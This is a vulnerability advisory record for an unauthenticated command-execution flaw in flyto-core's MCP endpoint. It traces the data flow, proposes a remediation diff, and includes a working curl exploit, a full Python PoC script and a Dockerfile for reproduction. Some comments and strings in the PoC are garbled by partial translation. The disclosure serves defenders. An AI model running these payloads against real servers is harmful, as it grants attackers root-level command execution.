{"id":"CVE-2026-55786","aliases":["PYSEC-2026-2482"],"url":"https://o3.security/vulnerability/CVE-2026-55786","summary":"flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`","details":"## Unauthenticated Command Execution via HTTP MCP `execute_module`\n\n### Summary\n\nThe HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header.\n\n### Details\n\nflyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post(\"\")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist.\n\nThe complete unauthenticated data flow from source to sink:\n\n1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation.\n2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post(\"\")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route.\n3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation.\n4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`.\n5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`.\n6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`.\n7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`.\n8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization.\n9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping.\n\nThe `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable.\n\n**Vulnerable code excerpts:**\n\n```python\n# src/core/api/routes/mcp.py:65-66  — missing auth\n@router.post(\"\")\nasync def mcp_post(request: Request):\n```\n\n```python\n# src/core/mcp_handler.py:832-838  — attacker-controlled dispatch\nelif tool_name == \"execute_module\":\n    result = await execute_module(\n        module_id=arguments.get(\"module_id\", \"\"),\n        params=arguments.get(\"params\", {}),\n        context=arguments.get(\"context\"),\n        browser_sessions=browser_sessions,\n    )\n```\n\n```python\n# src/core/modules/atomic/sandbox/execute_shell.py:137-169  — sink\nparams = context['params']\ncommand = params.get('command', '')\n# ... only empty-command and cwd existence checks ...\nproc = await asyncio.create_subprocess_shell(command, ...)\n```\n\n**Contrast with the protected REST route:**\n\n```python\n# src/core/api/routes/modules.py:93  — correctly guarded\n@router.post(\"/execute\", dependencies=[Depends(require_auth)])\n```\n\nThe existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the image (context: the report directory containing repo/ and vuln-001/)\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t flyto-vuln-001 \\\n  reports/mcp_57_flytohub__flyto-core/\n\n# Start the server (binds 0.0.0.0:8333 inside the container)\ndocker run --rm -d \\\n  -p 127.0.0.1:8333:8333 \\\n  --name flyto-vuln-001-test \\\n  flyto-vuln-001\n```\n\n**Exploit (curl) — no Authorization header:**\n\n```bash\ncurl -sS http://127.0.0.1:8333/mcp \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"execute_module\",\n      \"arguments\": {\n        \"module_id\": \"sandbox.execute_shell\",\n        \"params\": {\"command\": \"id\", \"timeout\": 5}\n      }\n    }\n  }'\n```\n\n**Exploit (Python PoC script):**\n\n```bash\npython3 vuln-001/poc.py \\\n  --host 127.0.0.1 --port 8333 --command id\n```\n\n**Observed response (dynamic reproduction, Phase 2):**\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"result\": {\n    \"structuredContent\": {\n      \"ok\": true,\n      \"data\": {\n        \"stdout\": \"uid=0(root) gid=0(root) groups=0(root)\\n\",\n        \"stderr\": \"\",\n        \"exit_code\": 0,\n        \"execution_time_ms\": 4.84\n      }\n    },\n    \"isError\": false\n  }\n}\n```\n\nThe `uid=0(root)` output confirms arbitrary OS command execution without any authentication. The HTTP response status was `200 OK`.\n\n**Network-accessible variant:**\n\nIf the operator starts flyto-core with `--host 0.0.0.0` (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.\n\n**Recommended remediation:**\n\n```diff\n--- a/src/core/api/routes/mcp.py\n+++ b/src/core/api/routes/mcp.py\n-from fastapi import APIRouter, Request\n+from fastapi import APIRouter, Depends, Request\n from fastapi.responses import JSONResponse, Response\n from core.mcp_handler import handle_jsonrpc_request\n+from core.api.security import require_auth, module_filter\n\n-@router.post(\"\")\n+@router.post(\"\", dependencies=[Depends(require_auth)])\n async def mcp_post(request: Request):\n         result = await handle_jsonrpc_request(item, browser_sessions)\n+        result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)\n\n-@router.delete(\"\")\n+@router.delete(\"\", dependencies=[Depends(require_auth)])\n async def mcp_delete(request: Request):\n```\n\n```diff\n--- a/src/core/api/security.py\n+++ b/src/core/api/security.py\n-_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\"]\n+_DEFAULT_DENYLIST = [\"shell.*\", \"process.*\", \"sandbox.*\"]\n```\n\n### Impact\n\nThis is an **unauthenticated OS command injection** vulnerability. Any process that can reach the `POST /mcp` HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as `root`, meaning full system compromise is possible.\n\nAffected parties include:\n\n- **Developers and local users** running `flyto serve` on their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.\n- **Infrastructure operators** who expose the API on a non-loopback interface (`--host 0.0.0.0`) without network-level access controls — the attack surface becomes the entire network.\n\nPotential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# lxml buildtext requiredtext whentext text\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n    gcc g++ libxml2-dev libxslt1-dev \\\n    && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# local repo copy source (build context: mcp_57_flytohub__flyto-core/)\nCOPY repo/ /app/repo/\n\n# flyto-core[api] install (fastapi + uvicorn contains)\nRUN pip install --no-cache-dir \"/app/repo[api]\"\n\nEXPOSE 8333\n\n# container externalfrom accessibletext 0.0.0.0 binding\nCMD [\"python\", \"-c\", \"from core.api.server import main; main(host='0.0.0.0', port=8333)\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module\n\nTarget:  flyto-core 2.26.2\nRoute:   POST /mcp  (no auth dependency — mcp.py:65)\nSink:    asyncio.create_subprocess_shell  (execute_shell.py:163)\nCWE:     CWE-306 Missing Authentication for Critical Function\n\nUsage:\n    python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]\n\"\"\"\nimport sys\nimport time\nimport json\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\ndef wait_for_server(base_url: str, max_wait: int = 45) -> bool:\n    \"\"\"servertext readytext until /health text.\"\"\"\n    for i in range(max_wait):\n        try:\n            with urllib.request.urlopen(f\"{base_url}/health\", timeout=2) as resp:\n                if resp.status == 200:\n                    print(f\"[+] server is ready ({i}s textand)\")\n                    return True\n        except Exception:\n            pass\n        time.sleep(1)\n        if i % 5 == 4:\n            print(f\"[*] wait in progress... ({i+1}s)\")\n    return False\n\n\ndef send_exploit(base_url: str, command: str) -> dict:\n    \"\"\"without authentication POST /mcptext arbitrary command execute request.\"\"\"\n    payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"execute_module\",\n            \"arguments\": {\n                \"module_id\": \"sandbox.execute_shell\",\n                \"params\": {\n                    \"command\": command,\n                    \"timeout\": 10\n                }\n            }\n        }\n    }\n\n    data = json.dumps(payload).encode(\"utf-8\")\n    req = urllib.request.Request(\n        f\"{base_url}/mcp\",\n        data=data,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n\n    with urllib.request.urlopen(req, timeout=20) as resp:\n        body = resp.read().decode(\"utf-8\")\n\n    return json.loads(body)\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC — flyto-core unauthenticated RCE via MCP\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8333)\n    parser.add_argument(\"--command\", default=\"id\", help=\"OS command to execute (default: id)\")\n    args = parser.parse_args()\n\n    base_url = f\"http://{args.host}:{args.port}\"\n\n    print(\"=\" * 60)\n    print(\"VULN-001: Unauthenticated RCE via HTTP MCP execute_module\")\n    print(f\"  Target  : {base_url}/mcp\")\n    print(f\"  Command : {args.command}\")\n    print(\"=\" * 60)\n    print()\n\n    # 1. wait for server readiness\n    print(\"[*] waiting for server startup in progress...\")\n    if not wait_for_server(base_url):\n        print(\"[-] FAIL: servertext whenbetween within not respond not\")\n        sys.exit(1)\n\n    # 2. without authentication exploit send request\n    print(f\"\\n[*] POST {base_url}/mcp — without an Authorization header send\")\n    try:\n        result = send_exploit(base_url, args.command)\n    except urllib.error.HTTPError as e:\n        body = e.read().decode(\"utf-8\", errors=\"replace\")\n        print(f\"[-] HTTP {e.code}: {body}\")\n        print(\"[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)\")\n        sys.exit(1)\n    except Exception as e:\n        print(f\"[-] text error: {e}\")\n        sys.exit(1)\n\n    # 3. response parse\n    print(f\"\\n[*] Raw JSON response:\\n{json.dumps(result, indent=2, ensure_ascii=False)}\\n\")\n\n    # result.result.structuredContent.data.stdout\n    try:\n        structured = result[\"result\"][\"structuredContent\"]\n        data = structured[\"data\"]\n        stdout = data.get(\"stdout\", \"\")\n        stderr = data.get(\"stderr\", \"\")\n        exit_code = data.get(\"exit_code\", -1)\n    except (KeyError, TypeError) as e:\n        print(f\"[-] FAIL: expected response structure text — {e}\")\n        print(f\"    result keys: {list(result.get('result', {}).keys())}\")\n        sys.exit(1)\n\n    print(f\"[*] exit_code = {exit_code}\")\n    print(f\"[*] stdout    = {stdout!r}\")\n    print(f\"[*] stderr    = {stderr!r}\")\n    print()\n\n    # 4. success verdict: `id` command resulttext uid= contains whether\n    if \"uid=\" in stdout:\n        print(\"[+] ============================================================\")\n        print(\"[+] PASS: without authentication text OS command execution check!\")\n        print(f\"[+] command output: {stdout.strip()}\")\n        print(\"[+] ============================================================\")\n        sys.exit(0)\n    else:\n        print(\"[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-07-06T17:41:03Z","modified":"2026-07-13T16:42:26.238989476Z","cvss":{"score":8.4,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"flyto-core","fixedVersion":"2.26.4"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-h9f9-h6gm-wc85"},{"type":"PACKAGE","url":"https://github.com/flytohub/flyto-core"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-13T16:42:26.238989476Z"}}